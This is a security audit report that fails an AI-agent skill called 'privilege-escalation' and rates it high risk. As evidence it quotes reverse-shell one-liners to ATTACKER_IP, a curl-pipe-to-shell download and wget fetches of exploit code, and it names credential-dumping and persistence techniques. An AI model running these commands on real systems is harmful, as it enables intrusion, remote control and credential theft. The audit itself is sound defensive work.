privilege-escalation

Fail

Audited by Gen Agent Trust Hub on Apr 11, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill contains multiple patterns for establishing reverse shells to external IP addresses.
  • Evidence includes shell one-liners for Bash, Python, and Netcat: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 and nc -e /bin/bash ATTACKER_IP 4444 found in references/linux-privesc.md.
  • Instructions for creating and executing malicious payloads via msfvenom and JuicyPotato in references/windows-privesc.md.
  • [EXTERNAL_DOWNLOADS]: Several files instruct the agent to download and execute scripts directly from the internet.
  • The file references/linux-privesc.md includes a piped execution command: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh.
  • Instructions to download exploit source code from untrusted/attacker-controlled IPs: wget http://ATTACKER_IP/exploit.c and wget http://ATTACKER_IP:8000/linpeas.sh.
  • [DATA_EXFILTRATION]: The skill provides methods for accessing and extracting sensitive credentials and system data.
  • Instructions for reading protected files like /etc/shadow and Active Directory's NTDS.dit database (e.g., vssadmin create shadow /for=C:).
  • Techniques for dumping credentials from memory using Mimikatz and harvesting cloud identity tokens from metadata services (SSRF) at 169.254.169.254.
  • [COMMAND_EXECUTION]: Extensive documentation on exploiting system misconfigurations for privilege escalation.
  • Detailed guides on abusing SUID/GUID binaries, Sudo permissions (GTFOBins), Windows Token Impersonation (Potato attacks), and misconfigured IAM policies in AWS/Azure/GCP.
  • Commands for modifying system state to maintain access, such as creating backdoor service principals in Azure or adding users to /etc/passwd.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Apr 11, 2026, 06:19 PM
Security Audit — agent-trust-hub — privilege-escalation